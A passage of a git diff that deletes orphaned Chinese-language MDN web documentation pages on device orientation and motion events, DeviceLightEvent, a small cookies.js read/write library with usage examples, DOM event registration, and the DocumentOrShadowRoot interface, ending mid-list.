class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 209px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 228px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 247px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 266px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 285px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 304px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 323px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 342px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 361px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 380px; background: 0px 0px;"> -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 399px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 418px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 437px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 456px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 475px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 494px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 513px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 551px; background: 0px 0px;"></div> -</div> - -<p>输出结果:</p> - -<p>在{{LiveSampleLink("Orientation_example", "这里")}}以新窗口打开此示例;因为有些浏览器中的 {{event("deviceorientation")}} 事件不支持跨域。</p> - -<div>{{EmbedLiveSample('Orientation_example', '230', '260')}}</div> - -<div class="warning" style="font-size: 14px;"> -<p><strong>警告:</strong> Chrome 和 Firefox 处理角度的机制不同,所以某些轴上的方向是相反的。</p> -</div> - -<h2 id="处理移动(motion)事件" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">处理移动(motion)事件</h2> - -<p><span style="line-height: 1.5;">移动事件的处理跟方向事件是一样的,除了他们有自己的事件名:{{ event("devicemotion") }}</span></p> - -<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-js" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;">window<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">addEventListener<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"devicemotion"</span><span class="punctuation token" style="color: #999999;">,</span> handleMotion<span class="punctuation token" style="color: #999999;">,</span> <span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> - -<p><span style="line-height: 1.5;">真正不同的是做为参数传递给</span><em>HandleMotion函数的</em><span style="line-height: 1.5;">{{ domxref("DeviceMotionEvent") }}对象所包含的信息。</span></p> - -<p>这个对象包含四个属性:</p> - -<ul> - <li>{{ domxref("DeviceMotionEvent.acceleration") }}</li> - <li>{{ domxref("DeviceMotionEvent.accelerationIncludingGravity") }}</li> - <li>{{ domxref("DeviceMotionEvent.rotationRate") }}</li> - <li>{{ domxref("DeviceMotionEvent.interval") }}</li> -</ul> - -<h3 id="相关值解释_2" style="line-height: 24px; font-size: 1.71428571428571rem;">相关值解释</h3> - -<p><span style="line-height: 1.5;">{{ domxref("DeviceMotionEvent") }}对象提供给web开发者设备在位置和方向上的改变速度的相关信息。这些变化信息是通过三个轴来体现的。(</span><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" style="line-height: 1.5;" title="/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained">Orientation and motion data explained</a><span style="line-height: 1.5;">有更详细的说明。)</span></p> - -<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.acceleration" title="The acceleration property returns the amount of acceleration recorded by the device, in meters per second squared (m/s2)."><code>acceleration</code></a> 和 <a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.accelerationIncludingGravity" title="The accelerationIncludingGravity property returns the amount of acceleration recorded by the device, in meters per second squared (m/s2). Unlike DeviceMotionEvent.acceleration which does not compensate for the influence of gravity, its value is the sum of the acceleration of the device as induced by the user and the acceleration caused by gravity."><code>accelerationIncludingGravity</code></a>,都包含下面三个轴:</p> - -<ul> - <li><code>x</code>: 西向东</li> - <li><code>y</code>: 南向北</li> - <li><code>z</code>: 垂直地面</li> -</ul> - -<p>对于 <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.rotationRate" title="Returns the rate at which the device is rotating around each of its axes in degrees per second.">rotationRate</a></code> ,情况有点不同;三个轴的信息对应着以下三种情况:</p> - -<ul> - <li><code>alpha</code>: 设备沿着垂直于屏幕(对于桌面设备则是垂直于键盘)的轴的旋转速率</li> - <li><code>beta</code>: 设备沿着屏幕(对于桌面设备则是键盘)左至右方向的轴的旋转速率(桌面设备相对于键盘)</li> - <li><code>gamma</code>: 设备沿着屏幕(对于桌面设备则是键盘)下至上方向的轴的旋转速率</li> -</ul> - -<p>最后,<a href="https://developer.mozilla.org/en-US/docs/Web/API/DeviceMotionEvent.interval" style="line-height: 1.5;" title="Returns the interval, in milliseconds, at which data is obtained from the underlaying hardware. You can use this to determine the granularity of motion events."><code>interval</code></a><span style="line-height: 1.5;"> 表示的是从设备获取数据的间隔时间,单位是毫秒。</span></p> - -<h2 id="规范" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Device Orientation')}}</td> - <td>{{Spec2('Device Orientation')}}</td> - <td>Initial specification.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">浏览器兼容性</h2> - -<h3 id="DeviceMotionEvent"><code>DeviceMotionEvent</code></h3> - -<p>{{Compat("api.DeviceMotionEvent")}}</p> - -<h3 id="DeviceOrientationEvent"><code>DeviceOrientationEvent</code></h3> - -<p>{{Compat("api.DeviceOrientationEvent")}}</p> - -<h2 id="参见" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">参见</h2> - -<ul> - <li>{{domxref("DeviceOrientationEvent")}}</li> - <li>{{domxref("DeviceMotionEvent")}}</li> - <li>The legacy <code><a href="https://developer.mozilla.org/en-US/DOM/MozOrientation" title="en-US/DOM/MozOrientation">MozOrientation</a></code> event.</li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientation and motion data explained</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/Events/Using_device_orientation_with_3D_transforms" title="Using Deviceorientation In 3D Transforms">Using deviceorientation in 3D Transforms</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/devicelightevent/index.html b/files/zh-cn/orphaned/web/api/devicelightevent/index.html deleted file mode 100644 index e3e717c514..0000000000 --- a/files/zh-cn/orphaned/web/api/devicelightevent/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: DeviceLightEvent -slug: orphaned/Web/API/DeviceLightEvent -tags: - - API - - Ambient Light Events - - Experimental - - Interface - - NeedsBetterSpecLink - - NeedsMarkupWork - - 事件 -translation_of: Web/API/DeviceLightEvent -original_slug: Web/API/DeviceLightEvent ---- -<div>{{apiref("Ambient Light Events")}}{{SeeCompatTable}}</div> - -<p><code>DeviceLightEvent</code> 为 Web 开发人员提供来自光传感器或类似设备的、关于附近环境光水平的信息。例如,基于当前环境光水平调节屏幕的亮度,以便节省电量或提供更好的阅读性。</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("DeviceLightEvent.value")}}</dt> - <dd>环境光的亮度,单位为 {{interwiki("wikipedia", "lux")}}。</dd> -</dl> - -<h2 id="示例">示例</h2> - -<pre class="brush: js">window.addEventListener('devicelight', function(event) { - console.log(event.value); -});</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}</td> - <td>{{ Spec2('AmbientLight') }}</td> - <td>Initial specification</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.DeviceLightEvent")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{ event("devicelight") }}</li> - <li><a href="/zh-CN/docs/WebAPI/Using_Light_Events">使用环境光事件</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html b/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html deleted file mode 100644 index 4d9d62b831..0000000000 --- a/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: 简单的cookie框架 -slug: orphaned/Web/API/Document/cookie/Simple_document.cookie_framework -tags: - - Cookies - - cookie -translation_of: Web/API/Document/cookie/Simple_document.cookie_framework -original_slug: Web/API/Document/cookie/Simple_document.cookie_framework ---- -<h2 id="一个小型框架_一个完整的cookies读写器对Unicode充分支持">一个小型框架: 一个完整的cookies读/写器对Unicode充分支持</h2> - -<p>由于Cookie只是特殊格式的字符串,因此有时很难管理它们。 以下库旨在通过定义一个与一个<a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage#Storage"><code>Storage</code> </a>对象部分一致的对象(<code>docCookies</code>)来抽象对<code>document.cookie</code>的访问。</p> - -<p> 以下代码也<a href="https://github.com/madmurphy/cookies.js">在GitHub上获取</a>。它是基于GNU General Public License v3.0 许可 (<a href="https://github.com/madmurphy/cookies.js/blob/master/LICENSE">许可链接</a>)</p> - -<h5 id="库">库</h5> - -<pre class="brush: js">/*\ -|*| -|*| :: cookies.js :: -|*| -|*| A complete cookies reader/writer framework with full unicode support. -|*| -|*| Revision #1 - September 4, 2014 -|*| -|*| https://developer.mozilla.org/en-US/docs/Web/API/document.cookie -|*| https://developer.mozilla.org/User:fusionchess -|*| https://github.com/madmurphy/cookies.js -|*| -|*| This framework is released under the GNU Public License, version 3 or later. -|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html -|*| -|*| Syntaxes: -|*| -|*| * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]]) -|*| * docCookies.getItem(name) -|*| * docCookies.removeItem(name[, path[, domain]]) -|*| * docCookies.hasItem(name) -|*| * docCookies.keys() -|*| -\*/ - -var docCookies = { - getItem: function (sKey) { - if (!sKey) { return null; } - return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null; - }, - setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) { - if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; } - var sExpires = ""; - if (vEnd) { - switch (vEnd.constructor) { - case Number: - sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd; - break; - case String: - sExpires = "; expires=" + vEnd; - break; - case Date: - sExpires = "; expires=" + vEnd.toUTCString(); - break; - } - } - document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : ""); - return true; - }, - removeItem: function (sKey, sPath, sDomain) { - if (!this.hasItem(sKey)) { return false; } - document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : ""); - return true; - }, - hasItem: function (sKey) { - if (!sKey) { return false; } - return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie); - }, - keys: function () { - var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/); - for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); } - return aKeys; - } -};</pre> - -<div class="note"><strong>Note:</strong> 对于<em>never-expire-cookies 我们使用一个随意的遥远日期</em><code>Fri, 31 Dec 9999 23:59:59 GMT</code>. 处于任何原因,你担心这样一个日期,使用 <em><a href="http://en.wikipedia.org/wiki/Year_2038_problem">惯例世界末日</a></em>Tue, 19 Jan 2038 03:14:07 GMT - 这是自1970年1月1日00:00:00 UTC以来使用 <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators#Signed_32-bit_integers">有符号的32位二进制整数</a>表示的最大秒数。(i.e., <code>01111111111111111111111111111111</code> which is <code>new Date(0x7fffffff * 1e3)</code>).</div> - -<h3 id="cookie的写入">cookie的写入</h3> - -<h5 id="语法">语法</h5> - -<pre class="syntaxbox"><code>docCookies.setItem(<em>name</em>, <em>value</em>[, <em>end</em>[, <em>path</em>[, <em>domain</em>[, <em>secure</em>]]]])</code></pre> - -<h5 id="Description">Description</h5> - -<p>新增/重写一个 cookie.</p> - -<h5 id="参数">参数</h5> - -<dl> - <dt><code>name</code></dt> - <dd>新增/重写一个 cookie的 <a href="#new-cookie_syntax">名字</a> (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>字符传</code></a>).</dd> - <dt><code>value</code></dt> - <dd>cookie的<a href="#new-cookie_syntax">值</a> (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>字符串</code></a>).</dd> - <dt><code>end</code> <font face="Helvetica, arial, sans-serif"><span style="background-color: #eeeeee; font-size: 14px; font-weight: 400;">可选</span></font></dt> - <dd><code><a href="#new-cookie_max-age">max-age</a>(最大有效时间)单位秒</code> (e.g. <code>31536e3</code> 表示一年, <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code> </a> 表示永不过期的cookie), 或者以<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toGMTString">GMTString</a></code> 格式或者<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date"><code>Date</code> object</a> 的<a href="#new-cookie_expires"><code>expires</code></a> date(过期时间); 如果没有,指定的cookie将在会话结束时到期 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number"><code>number</code></a> – finite or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a> – <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>, <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date"><code>Date</code> object</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>). - <div class="note" id="max-age_note" style="margin-top: 1em;"> - <p><strong>Note:</strong> 尽管 <a href="https://tools.ietf.org/html/rfc6265#section-5.2.2">officially defined in rfc6265</a>, <code>max-age</code> 在 Internet Explorer, Edg和一些移动端浏览器上不兼容. 因此,将数字传递给<code>end</code>参数可能无法按预期工作. 可能的解决方案可能是将相对时间转换为绝对时间。例如,以下代码:</p> - - <pre class="brush: js">docCookies.setItem("mycookie", "Hello world!", 150);</pre> - - <p>可以使用绝对日期重写,如下例所示:</p> - - <pre class="brush: js"> maxAgeToGMT (nMaxAge) { - return nMaxAge === Infinity ? "Fri, 31 Dec 9999 23:59:59 GMT" : (new Date(nMaxAge * 1e3 + Date.now())).toUTCString(); -} - -docCookies.setItem("mycookie", "Hello world!", maxAgeToGMT(150));</pre> - - <p>在上面的代码中,函数<code> maxAgeToGMT() </code>用于从相对时间(即,从“age”)创建<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toGMTString">GMTString</a>.</code></p> - </div> - </dd> - <dt><code>path</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> - <dd>可访问此cookie的路径. 例如,“/”,“/ mydir”;如果未指定,则默认为当前文档位置的当前路径(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>). The path must be <em>absolute</em> (see <a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a>). For more information on how to use relative paths in this argument, see <a href="#Using_relative_URLs_in_the_path_parameter">this paragraph</a>.</dd> - <dt><code>domain</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> - <dd>可访问此cookie的域名. 例如,<code>“example.com”</code>,<code>“.example.com”</code>(包括所有子域)或<code>“subdomain.example.com”</code>; 如果未指定,则默认为当前文档位置的主机端口(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>).</dd> - <dt><code>secure</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> - <dd>cookie将仅通过https安全协议传输 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean"><code>boolean</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>).</dd> -</dl> - -<h3 id="获取一个cookie">获取一个cookie</h3> - -<h5 id="语法_2">语法</h5> - -<pre class="syntaxbox"><code>docCookies.getItem(<em>name</em>)</code></pre> - -<h5 id="描述">描述</h5> - -<p>读一个cookie。如果cookie不存在,则返回null值。Parameters</p> - -<h5 id="参数_2">参数</h5> - -<dl> - <dt><code>name</code></dt> - <dd>读取cookie的名字 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> -</dl> - -<h3 id="移除一个cookie">移除一个cookie</h3> - -<h5 id="语法_3">语法</h5> - -<pre class="syntaxbox"><code>docCookies.removeItem(<em>name</em>[, <em>path</em>[, <em>domain</em>]])</code></pre> - -<h5 id="描述_2">描述</h5> - -<p>删除一个cookie.</p> - -<h5 id="参数_3">参数</h5> - -<dl> - <dt><code>name</code></dt> - <dd>待移除cookie的名字 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> - <dt><code>path</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> - <dd>例如,"<code>/"</code>,"<code>/ </code><code>mydir"</code>;如果未指定,则默认为当前文档位置的当前路径 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>). The path must be <em>absolute</em> (see <a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a>). For more information on how to use relative paths in this argument, see <a href="#Using_relative_URLs_in_the_path_parameter">this paragraph</a>.</dd> - <dt><code>domain</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> - <dd>例如, <code>"example.com"</code>, 或者 <code>"subdomain.example.com"</code>; 如果未指定,则默认为当前文档位置的主机端口(字符串或null),但不包括子域。 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>), 但不包括子域名。与早期的规范相反,域名中的前置的点被忽略。如果指定了域,则始终包含子域。 - <div class="note"><strong>Note:</strong> 要删除跨子域的cookie,您需要想<code>setItem()样</code>在<code>removeItem()</code>中指定domain属性。</div> - </dd> -</dl> - -<h3 id="检查一个cookie(是否存在)">检查一个cookie(是否存在)</h3> - -<h5 id="语法_4">语法</h5> - -<pre class="syntaxbox"><code>docCookies.hasItem(<em>name</em>)</code></pre> - -<h5 id="描述_3">描述</h5> - -<p>检查当前位置是否存在cookie。</p> - -<h5 id="参数_4">参数</h5> - -<dl> - <dt><code>name</code></dt> - <dd>待检查cookie的名字 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> -</dl> - -<h3 id="获取所有cookie列表">获取所有cookie列表</h3> - -<h5 id="Syntax">Syntax</h5> - -<pre class="syntaxbox"><code>docCookies.keys()</code></pre> - -<h5 id="Description_2">Description</h5> - -<p>返回此位置的所有可读cookie的数组。</p> - -<h3 id="Example_usage">Example usage:</h3> - -<pre class="brush: js">docCookies.setItem("test0", "Hello world!"); -docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity); -docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12)); -docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog"); -docCookies.setItem("test4", "Hello world!", "Wed, 19 Feb 2127 01:04:55 GMT"); -docCookies.setItem("test5", "Hello world!", "Fri, 20 Aug 88354 14:07:15 GMT", "/home"); -docCookies.setItem("test6", "Hello world!", 150); -docCookies.setItem("test7", "Hello world!", 245, "/content"); -docCookies.setItem("test8", "Hello world!", null, null, "example.com"); -docCookies.setItem("test9", "Hello world!", null, null, null, true); -docCookies.setItem("test1;=", "Safe character test;=", Infinity); - -alert(docCookies.keys().join("\n")); -alert(docCookies.getItem("test1")); -alert(docCookies.getItem("test5")); -docCookies.removeItem("test1"); -docCookies.removeItem("test5", "/home"); -alert(docCookies.getItem("test1")); -alert(docCookies.getItem("test5")); -alert(docCookies.getItem("unexistingCookie")); -alert(docCookies.getItem()); -alert(docCookies.getItem("test1;=")); -</pre> diff --git a/files/zh-cn/orphaned/web/api/document_object_model/events/index.html b/files/zh-cn/orphaned/web/api/document_object_model/events/index.html deleted file mode 100644 index 60ab48c450..0000000000 --- a/files/zh-cn/orphaned/web/api/document_object_model/events/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 事件及DOM -slug: orphaned/Web/API/Document_Object_Model/Events -tags: - - DOM - - events -translation_of: Web/API/Document_Object_Model/Events -original_slug: Web/API/Document_Object_Model/Events ---- -<p>{{DefaultAPISidebar("DOM")}}</p> - -<h2 id="Introduction" name="Introduction">简介</h2> - -<p>这一章节介绍了DOM事件模型(DOM Event Model)。主要描述了<a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">事件(Event)</a>接口本身以及DOM节点中的事件注册接口、<a href="/en-US/docs/Web/API/EventTarget.addEventListener">事件监听接口</a>,以及几个展示了多种事件接口之间相互关联的较长示例。</p> - -<p>这里有一张非常不错的图表清晰地解释了在<a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM3级事件草案(DOM Level 3 Events draft)</a>中通过DOM处理事件流的三个阶段。</p> - -<p>也可以通过示例章节的 <a href="/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">示例5:事件传递</a> 获取更多事件如何在DOM中流转的相关细节。</p> - -<h2 id="DOM_event_handler_List" name="DOM_event_handler_List">注册事件监听器</h2> - -<p>这里有3种方法来为一个DOM元素注册事件回调。</p> - -<h3 id="EventTarget.addEventListener" name="EventTarget.addEventListener">{{domxref("EventTarget.addEventListener")}}</h3> - -<pre class="brush: js">// 假设 myButton 是一个按钮 -myButton.addEventListener('click', greet, false); -function greet(event) { - // 打印并查看event对象 - // 打印arguments,以防忽略了其他参数 - console.log('greet: ' + arguments); - alert('Hello world'); -} -</pre> - -<p>你应该在现代Web技术的页面中使用这个方法。</p> - -<p>备注:IE 6-8 不支持这一方法,但提供了类似的API即 {{domxref("EventTarget.attachEvent")}} 用以替代。考虑到跨浏览器兼容性问题请使用有效的JS代码库。</p> - -<p>更多细节可在 {{domxref("EventTarget.addEventListener")}} 参考页面中找到.</p> - -<h3 id="HTML_attribute" name="HTML_attribute"><a href="/zh-CN/docs/Web/Guide/HTML/Event_attributes">HTML 属性</a></h3> - -<pre class="brush: html"><button onclick="alert('Hello world!')"> -</pre> - -<p>属性中的JS代码触发时通过event参数将Event类型对象传递过去的。<a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">其返回值以特殊的方式来处理,已经在HTML规范中被描述</a>。</p> - -<p>应该尽量避免这种书写方式,这将使HTML变大并减少可读性。考虑到内容/结构及行为不能很好的分开,这将造成bug很难被找到。</p> - -<h3 id="DOM_element_properties" name="DOM_element_properties">DOM 元素属性</h3> - -<pre class="brush: js">// 假设 myButton 是一个按钮 -myButton.onclick = function(event){alert('Hello world');}; -</pre> - -<p>带有event参数的函数可以这样被定义。<a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">其返回值以特殊的方式来处理,已经在HTML规范中被描述。</a></p> - -<p>这种方式的问题是每个事件及每个元素只能被设置一个回调。</p> - -<h2 id="访问事件接口">访问事件接口</h2> - -<p>事件回调可以被绑定到包括DOM元素、文档、{{domxref("window")}} 等多种对象上。当一个事件被触发时,一个event对象将被创建并顺序的传递给事件监听者们。</p> - -<p> {{domxref("Event")}} 接口可以在回调函数内被访问到,通过被传递进来做为第一个参数的事件对象。以下这个简单例子展示了如何将事件对象传递给事件回调函数,同时可以在这个函数中使用。</p> - -<pre class="brush: js">function foo(evt) { - // evt参数自动分配事件对象 - alert(evt); -} -table_el.onclick = foo; -</pre> - -<h2 id="下级页面导航">下级页面导航</h2> - -<ul> - <li><a href="/zh-CN/docs/Web/API/Document_Object_Model">DOM相关参考</a></li> - <li><a href="/zh-CN/docs/Web/API/Document_Object_Model/Introduction">DOM介绍</a></li> - <li><a href="/zh-CN/docs/Web/API/Document_Object_Model/Events">事件及DOM</a></li> - <li><a href="/zh-CN/docs/Web/API/Document_Object_Model/Examples">样例</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/documentorshadowroot/index.html b/files/zh-cn/orphaned/web/api/documentorshadowroot/index.html deleted file mode 100644 index cc18771f80..0000000000 --- a/files/zh-cn/orphaned/web/api/documentorshadowroot/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: DocumentOrShadowRoot -slug: orphaned/Web/API/DocumentOrShadowRoot -tags: - - API - - DocumentOrShadowRoot - - Interface - - NeedsTranslation - - Reference - - TopicStub - - shadow dom -translation_of: Web/API/DocumentOrShadowRoot -original_slug: Web/API/DocumentOrShadowRoot ---- -<div>{{APIRef("Web Components")}}</div> - -<p><span class="seoSummary"><a href="/zh-CN/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM API</a> 的 <strong><code>DocumentOrShadowRoot</code></strong> 接口提供了 documents 与 shadow roots 之间共享的 API。The following features are included in both {{DOMxRef("Document")}} and {{DOMxRef("ShadowRoot")}}.</span></p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{DOMxRef("DocumentOrShadowRoot.activeElement")}}{{ReadOnlyInline}}</dt> - <dd>Returns the {{DOMxRef('Element')}} within the shadow tree that has focus.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}{{ReadOnlyInline}}</dt> - <dd>Returns the {{DOMxRef('Element')}} that's currently in full screen mode for this document.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{Experimental_Inline}}{{ReadOnlyInline}}</dt> - <dd>Returns the element set as the target for mouse events while the pointer is locked. It returns <code>null</code> if lock is pending, the pointer is unlocked, or if the target is in another document.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}{{ReadOnlyInline}}</dt> - <dd>Returns a {{DOMxRef('StyleSheetList')}} of {{DOMxRef('CSSStyleSheet')}} objects for stylesheets explicitly linked into, or embedded in a document.</dd> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}</dt> - <dd>Returns a {{DOMxRef('CaretPosition')}} object containing the DOM node containing the caret, and caret's character offset within that node.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}</dt> - <dd>Returns the topmost element at the specified coordinates.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}</dt> - <dd>Returns an array of all elements at the specified coordinates.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}</dt> - <dd>Returns a {{DOMxRef('Selection')}} object representing the range of text selected by the user, or the current position of the caret.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.nodeFromPoint()")}} {{non-standard_inline}}</dt> - <dd>Returns the topmost node at the specified coordinates.</dd> - <dt>{{DOMxRef("DocumentOrShadowRoot.nodesFromPoint()")}} {{non-standard_inline}}</dt> - 